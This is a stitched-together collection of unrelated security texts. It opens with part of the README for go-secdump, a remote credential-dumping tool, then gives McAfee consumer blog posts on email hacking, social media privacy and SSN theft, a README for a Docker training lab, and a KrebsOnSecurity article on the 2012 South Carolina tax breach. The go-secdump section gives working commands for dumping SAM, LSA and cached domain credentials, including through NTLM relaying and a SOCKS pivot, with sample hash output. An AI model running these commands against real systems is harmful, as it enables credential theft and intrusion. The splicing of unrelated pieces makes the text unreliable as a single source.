--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.
Dump all registry secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Dump only SAM, LSA, or DCC2 cache secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
Dump registry secrets using NTLM relaying
Start listener
./go-secdump --host 192.168.0.100 -n --relay
Trigger an auth to your machine from a client with administrative access to 192.168.0.100 somehow and then wait for the dumped secrets.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc 38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.
When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
I think I could count on my hand the people I know who have NOT had their email hacked. Maybe they found a four-leaf clover when they were kids!
Email hacking is one of the very unfortunate downsides of living in our connected, digital world. And it usually occurs as a result of a data breach – a situation that even the savviest tech experts find themselves in.
In simple terms, a data breach happens when personal information is accessed, disclosed without permission, or lost. Companies, organisations, and government departments of any size can be affected. Data stolen can include customer login details (email addresses and passwords), credit card numbers, identifying IDs of customers e.g. driver’s license numbers and/or passport numbers, confidential customer information, company strategy, or even matters of national security.
Data breaches have made headlines, particularly over the last few years. When the Optus and Medibank data breaches hit the news in 2022 affecting almost 10 million Aussies a piece, we were all shaken. But then when Aussie finance company Latitude, was affected in 2023 with a whopping 14 million people from both Australia and New Zealand affected, it almost felt inevitable that by now, most of us would have been impacted.
But these were the data breaches that grabbed our attention. The reality is that data breaches have been happening for years. In fact, the largest data breach in Australian history actually happened in May 2019 to the online design site Canva which affected 137 million users globally including many Aussies.
So, in short – it can happen to anyone, and the chances are you may have already been affected.
The sole objective of a hacker is to get their hands on your data. And any information that you share in your email account can be very valuable to them. But why do they want your data, you ask? It’s simple really – so they can cash in! Some will keep the juicy stuff for themselves – passwords or logins to government departments or large companies they may want to ’target’ with the aim of extracting valuable data and/or funds. But the more sophisticated ones will sell your details including name, telephone, email address, and credit card details, and cash in on the Dark Web. They often do this in batches. Some experts believe they can get as much as AU$250 for a full set of details including credit cards. So, you can see why they’d be interested in you!
The other reason why hackers will be interested in your email address and password is that many of us re-use these login details across our other online accounts too. So, once they’ve got their hands on your email credentials then they may be able to access your online banking and investment accounts – the possibilities are endless if you are using the same login credentials everywhere. So, you can see why I harp on about using a unique password for every online account!
There is a plethora of statistics on just how big this issue is – all of them concerning.
According to the Australian Institute of Criminology, there were over 16,000 reports of identity theft in 2022.
The Department of Home Affairs and Stay Smart Australia reports that cybercrime costs Australian businesses $29 billion a year with the average business spending around $275,000 to remedy a data breach
And although there has been a slight reduction in Aussies falling for phishing scams in recent years (down from 2.7% in 2020/1 to 2.5% in 2022/3), more Australians are falling victim to card fraud scams with a total of $2.2 billion lost in 2023.
But regardless of which statistic you choose to focus on, we have a big issue on our hands!
If you find yourself a victim of email hacking there are a few very important steps you need to take and the key is to take them FAST!!
This is the very first thing you must do to ensure the hacker can’t get back into your account. It is essential that your new password is complex and totally unrelated to previous passwords. Always use at least 8-10 characters with a variety of upper and lower case and throw in some symbols and numbers. I really like the idea of a crazy, nonsensical sentence – easier to remember and harder to crack! But, better still, get yourself a password manager that will create a password that no human would be capable of creating.
If you find the hacker has locked you out of your account by changing your password, you will need to reset the password by clicking on the ‘Forgot My Password’ link.
This is time-consuming but essential. Ensure you change any other accounts that use the same username and password as your compromised email. Hackers love the fact that many people still use the same logins for multiple accounts, so it is guaranteed they will try your info in other email applications and sites such as PayPal, Amazon, Netflix – you name it!
Once the dust has settled, please review your password strategy for all your online accounts. A best practice is to ensure every online account has its own unique and complex password.
A big part of the hacker’s strategy is to ‘get their claws’ into your address book with the aim of hooking others as well. Send a message to all your email contacts as soon as possible so they know to avoid opening any emails (most likely loaded with malware) that have come from you.
Yes, multi-factor authentication (or 2-factor authentication) adds another step to your login but it also adds another layer of protection. Enabling this will mean that in addition to your password, you will need a special one-time use code to log in. This can be sent to your mobile phone or alternatively, it may be generated via an authenticator app. So worthwhile!
It is not uncommon for hackers to modify your email settings so that a copy of every email you receive is automatically forwarded to them. Not only can they monitor your logins for other sites, but they’ll keep a watchful eye over any particularly juicy personal information. So, check your mail forwarding settings to ensure no unexpected email addresses have been added.
Don’t forget to check your email signature to ensure nothing spammy has been added. Also, ensure your ‘reply to’ email address is actually yours! Hackers have been known to create an email address here that looks similar to yours – when someone replies, it goes straight to their account, not yours!
This is essential also. If you find anything, please ensure it is addressed, and then change your email password again. And if you don’t have it – please invest. Comprehensive security software will provide you with a digital shield for your online life. McAfee+ lets you protect all your devices – including your smartphone – from viruses and malware. It also contains a password manager to help you remember and generate unique passwords for all your accounts.
If you have been hacked several times and your email provider isn’t mitigating the amount of spam you are receiving, then consider starting afresh but don’t delete your email address. Many experts warn against deleting email accounts as most email providers will recycle your old email address. This could mean a hacker could spam every site they can find with a ‘forgot my password’ request and try to impersonate you – identity theft!
Your email is an important part of your online identity so being vigilant and addressing any fallout from hacking is essential for your digital reputation. And even though it may feel that ‘getting hacked’ is inevitable, you can definitely reduce your risk by installing some good quality security software on all your devices. Comprehensive security software such as McAfee+ will alert you when visiting risky websites, warn you when a download looks ‘dodgy’, and will block annoying and dangerous emails with anti-spam technology.
It makes sense really – if you don’t receive the ‘dodgy’ phishing email – you can’t click on it! Smart!
And finally, don’t forget that hackers love social media – particularly those of us who overshare on it. So, before you post details of your adorable new kitten, remember it may just provide the perfect clue for a hacker trying to guess your email password!
Till next time
Alex
The post What to Do If Your Email Is Hacked appeared first on McAfee Blog.
There are now over 5 billion active social media users worldwide, representing 62.3% of the global population. While social networks serve as valuable tools for staying connected with loved ones and documenting life events, the ease of sharing information raises concerns. With a mere few clicks, posts and messages can inadvertently divulge significant personal details, potentially compromising privacy and leaving individuals vulnerable to identity theft. That’s why it’s crucial to make sure you’ve got the know-how to keep your privacy protected while using these platforms.
To empower you in this digital age, we’ve compiled a comprehensive guide featuring ten essential tips to fortify your online security and preserve your privacy on social networks:
Whether you’re a seasoned social media user or just dipping your toes into the digital waters, these strategies will equip you with the knowledge and tools needed to safeguard your online identity effectively. With the added support of McAfee+, you can ensure an extra layer of security to keep your online presence more secure and private through advanced privacy features, 24/7 identity monitoring and alerts, and real-time protection against viruses, hackers, and risky links.
The post How to Protect Yourself on Social Networks appeared first on McAfee Blog.
In the hands of a thief, your Social Security Number is the master key to your identity.
With a Social Security Number (SSN), a thief can unlock everything from credit history and credit line to tax refunds and medical care. In extreme cases, thieves can use it to impersonate others. So, if you suspect your number is lost or stolen, it’s important to report identity theft to Social Security right away.
Part of what makes an SSN so powerful in identity theft is that there’s only one like it. Unlike a compromised credit card, you can’t hop on the phone and get a replacement. No question, the theft of your SSN has serious implications. If you suspect it, report it. So, let’s take a look at how it can happen and how you can report identity theft to Social Security if it does.
Yes. Sort of. The Social Security Administration can assign a new SSN in a limited number of cases. However, per the SSA, “When we assign a different Social Security number, we do not destroy the original number. We cross-refer the new number with the original number to make sure the person receives credit for all earnings under both numbers.”
In other words, your SSN is effectively for forever, which means if it’s stolen, you’re still faced with clearing up any of the malicious activity associated with the theft potentially for quite some time. That’s yet another reason why the protection of your SSN deserves particular attention.
There are several ways an SSN can end up with a thief. Some involve physical theft, and others can take the digital route. To what extent are SSNs at risk? Notably, there was the Equifax breach of 2017, which exposed some 147 million SSNs. Yet just because an SSN has been potentially exposed does not mean that an identity crime has been committed with it.
So, let’s start with the basics: how do SSNs get stolen or exposed?
That’s quite the list. Broadly speaking, the examples above give good reasons for keeping your SSN as private and secure as possible. With that, it’s helpful to know that there are only a handful of situations where your SSN is required for legitimate purposes, which can help you make decisions about how and when to give it out. The list of required cases is relatively short, such as:
You’ll notice that places like doctor’s offices and other businesses are not listed here, though they’ll often request an SSN for identification purposes. While there’s no law preventing them from asking you for that information, they may refuse to work with you if you do not provide that info. In such cases, ask what the SSN would be used for and if there is another form of identification that they can use instead. In all, your SSN is uniquely yours, so be extremely cautious in order to minimize its potential exposure to theft.
Let’s say you spot something unusual on your credit report or get a notification that someone has filed a tax return on your behalf without your knowledge. These are possible signs that your identity, if not your SSN, is in jeopardy, which means it’s time to act right away using the steps below:
1. Report the theft to local and federal authorities.
File a police report and a Federal Trade Commission (FTC) Identity Theft Report. This will help in case someone uses your Social Security number to commit fraud since it will provide a legal record of the theft. The FTC can also assist by guiding you through the identity theft recovery process as well. Their site really is an excellent resource.
2. Contact the businesses involved.
Get in touch with the fraud department at each of the businesses where you suspect theft has taken place, let them know of your situation, and follow the steps they provide. With your police and FTC reports, you will already have a couple of vital pieces of information that can help you clear your name.
3. Reach the Social Security Administration and the IRS.
Check your Social Security account to see if someone has gotten a job and used your SSN for employment purposes. Reviewing earnings associated with your SSN can uncover fraudulent use. You can also contact the Social Security Fraud Hotline at (800) 269-0271 or reach out to your local SSA office for further, ongoing assistance. Likewise, contact the Internal Revenue Service at (800) 908-4490 to report the theft and help prevent someone from submitting a tax return in your name.
As we’ve talked about in some of my other blog posts, identity theft can be a long-term problem where follow-up instances of theft can crop up over time. However, there are a few steps you can take to minimize the damage and ensure it doesn’t happen again. I cover several of those steps in detail in this blog here, yet let’s take a look at a few of the top items as they relate to SSN theft:
Consider placing a fraud alert.
By placing a fraud alert, you can make it harder for thieves to open accounts in your name. Place it with one of the three major credit bureaus (Experian, TransUnion, Equifax), and they will notify the other two. During the year-long fraud alert period, it will require businesses to verify your identity before issuing new credit in your name.
Look into an all-out credit freeze.
A full credit freeze is in place until you lift it and will prohibit creditors from pulling your credit report altogether. This can help stop thieves dead in their tracks since approving credit requires pulling a report. However, this applies to legitimate inquiries, including any that you make, like opening a new loan or signing up for a credit card. If that’s the case, you’ll need to take extra steps as directed by the particular institution or lender. Unlike the fraud alert, you’ll need to notify each of the three major credit bureaus (Experian, TransUnion, Equifax) when you want the freeze lifted.
Monitor your credit reports.
Once a week you can access a free credit report from Experian, TransUnion, and Equifax. Doing so will allow you to spot any future discrepancies and offer you options for correcting them.
Sign up for an identity protection service.
Using a service to help protect your identity can monitor several types of personally identifiable information and alert you of potentially unauthorized use. Our own Identity Protection Service will do all this and more, like offering guided help to neutralize threats and prevent theft from happening again. You can set it up on your computers and smartphone to stay in the know, address issues immediately, and keep your identity secured.
Of all the forms of identity theft, the theft of a Social Security Number is certainly one of the most potentially painful because it can unlock so many vital aspects of your life. It’s uniquely you, even more than your name alone – at least in the eyes of creditors, banks, insurance companies, criminal records, etc. Your SSN calls for extra protection, and if you have any concerns that it may have been lost or stolen, don’t hesitate to spring into action.
The post How to Report Identity Theft to Social Security appeared first on McAfee Blog.
The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.
Clone the repository
git clone https://github.com/csalab-id/csaf.git
Navigate to the project directory
cd csaf
Pull the Docker images
docker-compose --profile=all pull
Generate wazuh ssl certificate
docker-compose -f generate-indexer-certs.yml run --rm generator
For security reason you should set env like this first
export ATTACK_PASS=ChangeMePlease
export DEFENSE_PASS=ChangeMePlease
export MONITOR_PASS=ChangeMePlease
export SPLUNK_PASS=ChangeMePlease
export GOPHISH_PASS=ChangeMePlease
export MAIL_PASS=ChangeMePlease
export PURPLEOPS_PASS=ChangeMePlease
Start all the containers
docker-compose --profile=all up -d
You can run specific profiles for running specific labs with the following profiles - all - attackdefenselab - phisinglab - breachlab - soclab
For example
docker-compose --profile=attackdefenselab up -d
An exposed port can be accessed using a proxy socks5 client, SSH client, or HTTP client. Choose one for the best experience.
This Docker Compose application is released under the MIT License. See the LICENSE file for details.
For nearly a dozen years, residents of South Carolina have been kept in the dark by state and federal investigators over who was responsible for hacking into the state’s revenue department in 2012 and stealing tax and bank account information for 3.6 million people. The answer may no longer be a mystery: KrebsOnSecurity found compelling clues suggesting the intrusion was carried out by the same Russian hacking crew that stole of millions of payment card records from big box retailers like Home Depot and Target in the years that followed.
Questions about who stole tax and financial data on roughly three quarters of all South Carolina residents came to the fore last week at the confirmation hearing of Mark Keel, who was appointed in 2011 by Gov. Nikki Haley to head the state’s law enforcement division. If approved, this would be Keel’s third six-year term in that role.
The Associated Press reports that Keel was careful not to release many details about the breach at his hearing, telling lawmakers he knows who did it but that he wasn’t ready to name anyone.
“I think the fact that we didn’t come up with a whole lot of people’s information that got breached is a testament to the work that people have done on this case,” Keel asserted.
A ten-year retrospective published in 2022 by The Post and Courier in Columbia, S.C. said investigators determined the breach began on Aug. 13, 2012, after a state IT contractor clicked a malicious link in an email. State officials said they found out about the hack from federal law enforcement on October 10, 2012.
KrebsOnSecurity examined posts across dozens of cybercrime forums around that time, and found only one instance of someone selling large volumes of tax data in the year surrounding the breach date.
On Oct. 7, 2012 — three days before South Carolina officials say they first learned of the intrusion — a notorious cybercriminal who goes by the handle “Rescator” advertised the sale of “a database of the tax department of one of the states.”
“Bank account information, SSN and all other information,” Rescator’s sales thread on the Russian-language crime forum Embargo read. “If you purchase the entire database, I will give you access to it.”
A week later, Rescator posted a similar offer on the exclusive Russian forum Mazafaka, saying he was selling information from a U.S. state tax database, without naming the state. Rescator said the data exposed included Social Security Number (SSN), employer, name, address, phone, taxable income, tax refund amount, and bank account number.
“There is a lot of information, I am ready to sell the entire database, with access to the database, and in parts,” Rescator told Mazafaka members. “There is also information on corporate taxpayers.”
On Oct. 26, 2012, the state announced the breach publicly. State officials said they were working with investigators from the U.S. Secret Service and digital forensics experts from Mandiant, which produced an incident report (PDF) that was later published by South Carolina Dept. of Revenue. KrebsOnSecurity sought comment from the Secret Service, South Carolina prosecutors, and Mr. Keel’s office. This story will be updated if any of them respond. Update: The Secret Service declined to comment.
On Nov. 18, 2012, Rescator told fellow denizens of the forum Verified he was selling a database of 65,000 records with bank account information from several smaller, regional financial institutions. Rescator’s sales thread on Verified listed more than a dozen database fields, including account number, name, address, phone, tax ID, date of birth, employer and occupation.
Asked to provide more context about the database for sale, Rescator told forum members the database included financial records related to tax filings of a U.S. state. Rescator added that there was a second database of around 80,000 corporations that included social security numbers, names and addresses, but no financial information.
The AP says South Carolina paid $12 million to Experian for identity theft protection and credit monitoring for its residents after the breach.
“At the time, it was one of the largest breaches in U.S. history but has since been surpassed greatly by hacks to Equifax, Yahoo, Home Depot, Target and PlayStation,” the AP’s Jeffrey Collins wrote.
As it happens, Rescator’s criminal hacking crew was directly responsible for the 2013 breach at Target and the 2014 hack of Home Depot. The Target intrusion saw Rescator’s cybercrime shops selling roughly 40 million stolen payment cards, and 56 million cards from Home Depot customers.
Who is Rescator? On Dec. 14, 2023, KrebsOnSecurity published the results of a 10-year investigation into the identity of Rescator, a.k.a. Mikhail Borisovich Shefel, a 36-year-old who lives in Moscow and who recently changed his last name to Lenin.
Mr. Keel’s assertion that somehow the efforts of South Carolina officials following the breach may have lessened its impact on citizens seems unlikely. The stolen tax and financial data appears to have been sold openly on cybercrime forums by one of the Russian underground’s most aggressive and successful hacking crews.
While there are no indications from reviewing forum posts that Rescator ever sold the data, his sales threads came at a time when the incidence of tax refund fraud was skyrocketing.
Tax-related identity theft occurs when someone uses a stolen identity and SSN to file a tax return in that person’s name claiming a fraudulent refund. Victims usually first learn of the crime after having their returns rejected because scammers beat them to it. Even those who are not required to file a return can be victims of refund fraud, as can those who are not actually owed a refund from the U.S. Internal Revenue Service (IRS).
According to a 2013 report from the Treasury Inspector General’s office, the IRS issued nearly $4 billion in bogus tax refunds in 2012, and more than $5.8 billion in 2013. The money largely was sent to people who stole SSNs and other information on U.S. citizens, and then filed fraudulent tax returns on those individuals claiming a large refund but at a different address.
It remains unclear why Shefel has never been officially implicated in the breaches at Target, Home Depot, or in South Carolina. It may be that Shefel has been indicted, and that those indictments remain sealed for some reason. Perhaps prosecutors were hoping Shefel would decide to leave Russia, at which point it would be easier to apprehend him if he believed no one was looking for him.
But all signs are that Shefel is deeply rooted in Russia, and has no plans to leave. In January 2024, authorities in Australia, the United States and the U.K. levied financial sanctions against 33-year-old Russian man Aleksandr Ermakov for allegedly stealing data on 10 million customers of the Australian health insurance giant Medibank.
A week after those sanctions were put in place, KrebsOnSecurity published a deep dive on Ermakov, which found that he co-ran a Moscow-based IT security consulting business along with Mikhail Shefel called Shtazi-IT.
A Google-translated version of Shtazi dot ru. Image: Archive.org.
